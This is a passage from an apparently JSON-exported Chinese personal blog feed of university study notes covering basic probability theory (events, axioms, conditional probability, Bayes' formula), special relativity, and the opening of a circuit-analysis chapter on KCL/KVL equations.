指的是随机试验E的所有结果构成的集合,记为$\\Omega={e}$。每个结果$e$是$\\Omega$中一个元素,称为样本点。其中的\u003cstrong\u003e元素数量可以无限\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e一些随机试验E的样本点的集合(可空)称为\u003cstrong\u003e随机事件\u003c/strong\u003e,也称事件。全体样本点构成的集合称为样本空间,记为$\\Omega$。每次试验,当且仅当\u003cstrong\u003e该子集的一个样本点出现\u003c/strong\u003e时,称这一事件发生。\u003c/p\u003e\u003cp\u003e如果Ω只\u003cstrong\u003e包含有限个样本点\u003c/strong\u003e,则\u003cstrong\u003e单个样本点构成的事件(单点集)\u003c/strong\u003e,称为\u003cstrong\u003e基本事件\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e如果\u003cstrong\u003e将Ω亦视作事件\u003c/strong\u003e,是自身子集,则每次试验,Ω总是发生,称为\u003cstrong\u003e必然事件\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e空集Φ\u003c/strong\u003e也是样本空间Ω的子集,不包含任何样本点,称为\u003cstrong\u003e不可能事件\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"事件间的关系\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E4%BA%8B%E4%BB%B6%E9%97%B4%E7%9A%84%E5%85%B3%E7%B3%BB\" class=\"headerlink\" title=\"事件间的关系\"\u003e\u003c/a\u003e事件间的关系\u003c/h3\u003e\u003cp\u003e事件间有如下几种运算:\u003c/p\u003e\u003cul\u003e\u003cli\u003e包含\u003c/li\u003e\u003cli\u003e并事件(至少一个发生)\u003c/li\u003e\u003cli\u003e交事件(同时发生),简写为AB\u003c/li\u003e\u003cli\u003e差事件:一个发生且另一个不发生\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e对应几种运算律:\u003c/p\u003e\u003cul\u003e\u003cli\u003e交换律:并事件/交事件顺序可互换\u003c/li\u003e\u003cli\u003e结合律:A ∪ (B ∪ C) = (A ∪ B) ∪ C,A ∩ (B ∩ C) = (A ∩ B) ∩ C\u003c/li\u003e\u003cli\u003e分配律:\u003cbr/\u003e$$A\\cup (B\\cap C)=(A\\cup B)\\cap (A\\cup C)$$\u003cbr/\u003e$$A\\cap (B\\cup C)=(A\\cap B)\\cup (A\\cap C)$$\u003c/li\u003e\u003cli\u003e德摩根律:\u003cbr/\u003e$$\\overline{A\\cup B}=\\overline{A}\\cap \\overline{B}=\\overline{A}\\overline{B}$$\u003cbr/\u003e$$\\overline{A\\cap B}=\\overline{A}\\cup \\overline{B}$$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e也有几种关系:\u003c/p\u003e\u003cul\u003e\u003cli\u003e互斥:A、B不同时发生\u003c/li\u003e\u003cli\u003e对立/互逆:每次试验A、B必有一个发生。A的逆事件记作$\\overline{A}$。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"概率及其性质\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E6%A6%82%E7%8E%87%E5%8F%8A%E5%85%B6%E6%80%A7%E8%B4%A8\" class=\"headerlink\" title=\"概率及其性质\"\u003e\u003c/a\u003e概率及其性质\u003c/h2\u003e\u003cp\u003e在相同的条件下,进行了n次试验,其中事件A发生的次数$n_A$称为事件A发生的\u003cstrong\u003e频数\u003c/strong\u003e,比值$n_A/n$称为事件$A$发生的频率 , 记为$f_n(A)$。其中,频率取值范围$[0,1]$,且$f_n(\\Omega)=1$。对于一组互不相容的事件而言,其并事件的频率为各自频率之和。\u003c/p\u003e\u003cp\u003e重复试验的次数n 逐渐增大时,频率 $f_n(A)$ 呈现稳定性,趋于某个常数$p$,这是统计的规律性。\u003c/p\u003e\u003cp\u003e由大数定律可证明,由频率的稳定性和频率的性质,得\u003cstrong\u003e概率定义\u003c/strong\u003e:重复试验的次数趋于无穷,频率$f_n(A)$接近概率$P(A)$。它有这么几个性质:频率取值范围$P(A)\\geq 0$,且$P(\\Omega)=1$。对于一组互不相容的事件而言,其并事件的概率为各自概率之和。这三性质就是\u003cstrong\u003e柯尔莫哥洛夫公理\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e它有如下性质:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$P(\\Phi)=0$\u003c/li\u003e\u003cli\u003e互不相容和事件的概率为每个事件的概率之和\u003c/li\u003e\u003cli\u003e若有$A\\subset B$,则$P(B – A) = P(B) - P(A)$\u003c/li\u003e\u003cli\u003e对任一事件$A$, $P(A)\\leq 1$\u003c/li\u003e\u003cli\u003e对立(互逆)事件的概率之和为1\u003c/li\u003e\u003cli\u003e$P(A \\cup B) = P(A) + P(B) - P(AB)$\u003cbr/\u003e上面这条,推广到任意多事件(或者直接整体法然后分n次使用上面这条),可得到:\u003cbr/\u003e$$\u003cbr/\u003eP(A_1\\cup A_2\\cup \\cdots \\cup A_n)=\\Sigma_{i=1}^n P(A_i)-\\Sigma_{1\\leq i\\leq j\\leq n} P(A_iA_j)+ \\Sigma_{1\\leq i\\leq j\\leq k\\leq n}P(A_iA_jA_k) + \\cdots +(-1)^{n-1}P(A_1A_2\\cdots A_n)\u003cbr/\u003e$$\u003c/li\u003e\u003cli\u003e极限性:设$A_1\\subset A_2\\subset \\cdots \\subset A_n\\subset \\cdots$是一系列上升的事件,则$\\lim_{n\\to \\infty}P(A_n)=P(\\cup_{i=1}^\\infty A_i)$,反之也成立,将并换做交即可。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117214919.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"古典概率\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E5%8F%A4%E5%85%B8%E6%A6%82%E7%8E%87\" class=\"headerlink\" title=\"古典概率\"\u003e\u003c/a\u003e古典概率\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e古典概型(等可能概型)\u003c/strong\u003e 的定义为:若试验 E 满足:\u003c/p\u003e\u003col\u003e\u003cli\u003e样本空间Ω包含\u003cstrong\u003e有限个元素\u003c/strong\u003e \u003c/li\u003e\u003cli\u003e出现每一样本点的概率相等 (等可能性),即试验中\u003cstrong\u003e每个基本事件\u003c/strong\u003e发生的可能性相同,故\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e$$\u003cbr/\u003eP(A)=\\Sigma_{i=1}^kP({e_i})=\\frac{k}{n}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e古典概型的样本空间由n个独立等可能事件组成,故每个基本事件的概率都为$\\frac{1}{n}$。\u003c/p\u003e\u003cp\u003e排列和组合也是古典概率中重要的两个公式。排列表示从n个对象中按顺序选出m个对象:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eA_n^m=n(n-1)(n-2)\\cdots(n-m+1)=\\frac{n!}{(n-m)!}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e组合表示从n个对象中任选m个对象:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eC_n^m=\\frac{A_n^m}{m!}=\\frac{n!}{m!(n-m)!}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e上面两式中,均有$n\\geq m$。\u003c/p\u003e\u003cp\u003e加法原理和乘法原理高中就讲过,前者表示若完成一件事可有n类办法,其中,在第一类办法中有$m_1$种不同的方法,在第二类办法中有$m_2$种不同的方法,……, 在第n类办法中有$m_n$种不同的方法,则共有$\\Sigma_{i=1}^nm_i$种方法完成这件事;而乘法原理表示若完成一件事需分解成n个步骤,其中,做第一步有 $m_1$种不同的方法,做第二步有$m_2$种不同的方法,……, 做第n步有$m_n$种不同的方法,则完成这件事的方法共有$\\Pi_{i=1}^nm_i$种。\u003c/p\u003e\u003cp\u003e大学中新增加了\u003cstrong\u003e实际推断原理\u003c/strong\u003e,它的内容为:概率很小的事件在一次试验中\u003cstrong\u003e几乎是不发生\u003c/strong\u003e的。这符合我们对概率的直觉感受。注意这\u003cstrong\u003e不能理解成“小概率事件从不发生”\u003c/strong\u003e。与此同时,它还有另一层含义:\u003cstrong\u003e小概率事件在大量重复试验中必然发生\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"几何概率\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E5%87%A0%E4%BD%95%E6%A6%82%E7%8E%87\" class=\"headerlink\" title=\"几何概率\"\u003e\u003c/a\u003e几何概率\u003c/h2\u003e\u003cp\u003e在几何概型中,试验 E 满足:\u003c/p\u003e\u003col\u003e\u003cli\u003e所有可能的样本点构成的\u003cstrong\u003e样本空间是“连续”的\u003c/strong\u003e,构成了一个不可数\u003cstrong\u003e无穷集\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e样本点是“均等的”\u003c/strong\u003e ,即一次试验中,没有哪一个或哪一些比另一个或另一些更容易出现\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e直观上,每个事件发生的概率只与该事件的度量(如长度、面积、体积等)成正比例。\u003c/p\u003e\u003cp\u003e这种概率的计算公式为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eP(A)=\\frac{A_{len/size/volume}}{\\Omega_{len/size/volume}}\u003cbr/\u003e$$\u003c/p\u003e\u003ch2 id=\"条件概率与概率的三大公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E6%9D%A1%E4%BB%B6%E6%A6%82%E7%8E%87%E4%B8%8E%E6%A6%82%E7%8E%87%E7%9A%84%E4%B8%89%E5%A4%A7%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"条件概率与概率的三大公式\"\u003e\u003c/a\u003e条件概率与概率的三大公式\u003c/h2\u003e\u003cp\u003e这是第一章的重点内容。\u003c/p\u003e\u003cp\u003e条件概率的公式如下。意思为:A发生的条件下B发生的概率,等于AB同时发生的概率除以A发生的概率。设试验共包含n个基本事件,A有m(m\u0026gt;0)个,AB有k个,则\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eP(B|A)=\\frac{k}{m}=\\frac{k/n}{m/n}\\frac{P(AB)}{P(A)}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e条件概率 P(·/A) 具有概率的所有性质:非负性、规范性、可列可加性。它也满足其他性质,例如:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117222955.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"乘法公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E4%B9%98%E6%B3%95%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"乘法公式\"\u003e\u003c/a\u003e乘法公式\u003c/h3\u003e\u003cp\u003e条件概率公式也可以反过来用来计算交事件的概率:$P(AB)=P(A)P(B|A)$,即\u003cstrong\u003e乘法公式\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e它也可以推广,逐项展开即可:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117223144.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"全概率公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E5%85%A8%E6%A6%82%E7%8E%87%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"全概率公式\"\u003e\u003c/a\u003e全概率公式\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eP(B)=\\sum_{i=1}^{n}P(A_i)P(B|A_i)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e上面的公式就是全概率公式。它表示$B$的概率可以用一系列概率和表示。\u003c/p\u003e\u003cp\u003e![[Pasted image 20230204114959.png]]\u003c/p\u003e\u003cp\u003e如上图所示,完备事件组是全样本空间的一个划分${A_i}$,$B$是一个横跨数个划分块的事件。造成B的可能有很多种,而全概率公式就是把这所有的概率加起来计算事件的总概率。\u003c/p\u003e\u003ch3 id=\"贝叶斯公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E8%B4%9D%E5%8F%B6%E6%96%AF%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"贝叶斯公式\"\u003e\u003c/a\u003e贝叶斯公式\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eP(A_i|B)=\\frac{P(A_iB)}{P(B)}=\\frac{P(A_i)P(B|A_i)}{\\sum{P(A_i)P(B|A_i)}}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e,且其中$P(B)\\gt 0$。\u003c/p\u003e\u003cp\u003e继续按照上图的划分理解,这公式表示计算某因素$A_i$导致$B$发生的概率。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e上面俩公式的用法是:明确起点事件、终点事件,画出起点到终点的所有路径。随后计算各路径的概率和(全概率)或者某路径在所有路径的占比(贝叶斯公式)。\u003c/p\u003e\u003ch2 id=\"独立性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E7%8B%AC%E7%AB%8B%E6%80%A7\" class=\"headerlink\" title=\"独立性\"\u003e\u003c/a\u003e独立性\u003c/h2\u003e\u003cp\u003e后边再说\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/"},{"title":"狭义相对论笔记","time":"2022-11-01T01:47:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e大物中只涉及狭义相对论时空观、高速运动力学的基本方程和相对论动力学主要结论。\u003c/p\u003e\u003ch2 id=\"0x01-伽利略坐标变换式·力学相对性原理\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#0x01-%E4%BC%BD%E5%88%A9%E7%95%A5%E5%9D%90%E6%A0%87%E5%8F%98%E6%8D%A2%E5%BC%8F%C2%B7%E5%8A%9B%E5%AD%A6%E7%9B%B8%E5%AF%B9%E6%80%A7%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"0x01.伽利略坐标变换式·力学相对性原理\"\u003e\u003c/a\u003e0x01.伽利略坐标变换式·力学相对性原理\u003c/h2\u003e\u003cp\u003e经典牛顿力学体系中,对于时空的看法以绝对时空观为核心。它认为,时空是不变的,是“一个固定的舞台”。它也认为,力学规律亦是如此。\u003c/p\u003e\u003ch3 id=\"力学相对性原理\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E5%8A%9B%E5%AD%A6%E7%9B%B8%E5%AF%B9%E6%80%A7%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"力学相对性原理\"\u003e\u003c/a\u003e力学相对性原理\u003c/h3\u003e\u003cp\u003e定义:\u003cstrong\u003e在所有彼此做匀速直线运动的惯性系中,物体运动遵循完全相同的力学规律,这规律有着完全相同的数学表达式。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e这也就是说,对于描述力学现象的规律而言,所有惯性系都是等价的。因此,也不能通过力学实验来确定当前惯性系是静止的,还是做匀速直线运动的。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e绝对时空观\u003c/strong\u003e:时间和空间都是绝对的,可以脱离物质运动而存在,并且时间与空间也没有任何联系。\u003c/p\u003e\u003cp\u003e这观点表现在对时间间隔和空间间隔的测量上,则表现为:所有惯性系中,任意两个观察者对于任意两个事件的时间间隔、空间间隔测量结果都相同。\u003c/p\u003e\u003ch3 id=\"伽利略坐标变换式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E4%BC%BD%E5%88%A9%E7%95%A5%E5%9D%90%E6%A0%87%E5%8F%98%E6%8D%A2%E5%BC%8F\" class=\"headerlink\" title=\"伽利略坐标变换式\"\u003e\u003c/a\u003e伽利略坐标变换式\u003c/h3\u003e\u003cp\u003e基于绝对时空观,假设有两个惯性系$S$和$S’$,取坐标系$Oxyz$和$O’x’y’z’$分别与$S$和$S’$相联系,使它们的$x$轴重合,设$S’$系沿$x$轴相对$S$以速度$u$运动,并且当$O$与$O’$重合时,有$t=t’=0$。\u003c/p\u003e\u003cp\u003e设$P$点在$S$系中的坐标是$(x,y,z)$,在$S’$中的坐标是$(x’,y’,z’)$,则有:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\left{\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003ex’\u0026amp;=x-ut\\\u003cbr/\u003ey’\u0026amp;=y\\\u003cbr/\u003ez’\u0026amp;=z\\\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e\\right.\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e同时,根据绝对时空观,有:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003et’=t\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是\u003cstrong\u003e伽利略坐标变换式\u003c/strong\u003e。同时,从它还可以推导出速度、加速度的变换式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003ev’\u0026amp;=v-u\\\u003cbr/\u003ea’\u0026amp;=a\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e同时,由于经典力学认为,质量与其运动速度无关,即\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003em=m’\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e同时,质点在不同惯性系下受到的作用力$F=F’$,从而有\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eF’=m’a’\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这表明牛顿第二定律具有伽利略变换的不变性。\u003c/p\u003e\u003cp\u003e但是,描述宏观电磁现象规律的麦克斯韦方程组不具有伽利略变换的不变性。这使得二者具有冲突,即,二者之一必然被修正。于是诞生了狭义相对论。\u003c/p\u003e\u003ch2 id=\"0x02-狭义相对论的两个基本假设\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#0x02-%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%9A%84%E4%B8%A4%E4%B8%AA%E5%9F%BA%E6%9C%AC%E5%81%87%E8%AE%BE\" class=\"headerlink\" title=\"0x02.狭义相对论的两个基本假设\"\u003e\u003c/a\u003e0x02.狭义相对论的两个基本假设\u003c/h2\u003e\u003cp\u003e光是电磁波,由麦克斯韦方程组可得,光的真空传播速率是\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ec=\\frac{1}{\\sqrt{\\epsilon_0\\mu_0}}=2.998\\times 10^8m/s\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e它是常量。这表明光的真空各向传播速率与参考系的选择以及光的传播方向无关。然而由经典伽利略变换可得出,在不同参考系测量同一束光的结果应该不同,例如$A$系结果是$c$,则与之相对速度为$u$的$B$系测量结果应当为$c\\pm u$,但是1887年利用迈克尔逊干涉仪完成的迈克尔逊-莫雷实验所测定的各向光速依旧为$c$。这对经典力学体系产生了巨大的冲击。\u003c/p\u003e\u003cp\u003e而爱因斯坦则从一个新的角度着手:自然界是对称的,电磁学、力学等一切物理学现象应当满足相对性原理。这也就是说,\u003cstrong\u003e所有惯性系中的物理规律及其数学表达式是相同的\u003c/strong\u003e。因此,并不能找到一个特殊的、同时满足经典力学和麦克斯韦方程组的惯性系。此外,将实验结果得到的\u003cstrong\u003e光速不变作为一个基本假设\u003c/strong\u003e提出。基于这两条假设,他建立了狭义相对论。\u003c/p\u003e\u003ch3 id=\"狭义相对论的两个基本假设\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%9A%84%E4%B8%A4%E4%B8%AA%E5%9F%BA%E6%9C%AC%E5%81%87%E8%AE%BE\" class=\"headerlink\" title=\"狭义相对论的两个基本假设\"\u003e\u003c/a\u003e狭义相对论的两个基本假设\u003c/h3\u003e\u003cul\u003e\u003cli\u003e相对性原理:\u003cstrong\u003e在所有惯性系中,一切的物理学定律都相同,即具有相同的数学表达形式。即,对于描述一切物理现象的规律,所有惯性系等价。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e光速不变原理:\u003cstrong\u003e在所有惯性系中,真空中光沿各向传播速率是常量$c$,与光源和观察者的运动状态无关。\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"0x03-狭义相对论时空观\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#0x03-%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E6%97%B6%E7%A9%BA%E8%A7%82\" class=\"headerlink\" title=\"0x03.狭义相对论时空观\"\u003e\u003c/a\u003e0x03.狭义相对论时空观\u003c/h2\u003e\u003ch3 id=\"同时性的相对性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E5%90%8C%E6%97%B6%E6%80%A7%E7%9A%84%E7%9B%B8%E5%AF%B9%E6%80%A7\" class=\"headerlink\" title=\"同时性的相对性\"\u003e\u003c/a\u003e同时性的相对性\u003c/h3\u003e\u003cp\u003e假设$S’$系(火车)相对$S$系(地面)以速度$u$运动,火车箱中间有一个电灯,打开它,则在$S’$中观察到它光同时到达列车始末;但是在$S$上观察,会得到光先到达车厢后部,再到达车厢前端(相对火车运动方向而言)。因此,在$S’$系中异地同时发生的两个事件,在$S$系中并不同时。也就是说,\u003cstrong\u003e“同时性”具有相对性。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e同时性的相对性是狭义相对论的一个基本结论,它表明了时间的相对性。在不同的惯性系中,时间的流逝速率是不同的。这一结论与经典牛顿力学的绝对时空观是不同的,它是狭义相对论的一个重要特征。\u003c/p\u003e\u003cp\u003e同时性的相对性可以通过著名的钟慢效应来进行实验验证。例如,将两个精密的原子钟分别放在地面和飞行的飞机上,当飞机飞行一段时间后,两个钟的时间差就会变得非常明显。这一效应已经被实验验证过,验证结果与狭义相对论的预测非常吻合。\u003c/p\u003e\u003cp\u003e同时性的相对性也是狭义相对论的一个重要基础,它为后续的狭义相对论理论奠定了基础。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/"},{"title":"第二章:电阻电路分析","time":"2022-10-31T08:24:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"KCL-x2F-KVL独立方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#KCL-x2F-KVL%E7%8B%AC%E7%AB%8B%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"KCL/KVL独立方程\"\u003e\u003c/a\u003eKCL/KVL独立方程\u003c/h2\u003e\u003ch3 id=\"KCL独立方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#KCL%E7%8B%AC%E7%AB%8B%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"KCL独立方程\"\u003e\u003c/a\u003eKCL独立方程\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-151002.png\" alt=\"什么是独立方程\"/\u003e\u003c/p\u003e\u003cp\u003e对于n个结点的连通图,有且仅有n-1个独立方程。\u003c/p\u003e\u003cp\u003e任取n-1个结点写出的KCL方程相互独立,且能列出独立方程的结点称为独立结点。\u003c/p\u003e\u003ch3 id=\"KVL独立方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#KVL%E7%8B%AC%E7%AB%8B%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"KVL独立方程\"\u003e\u003c/a\u003eKVL独立方程\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-151345.png\" 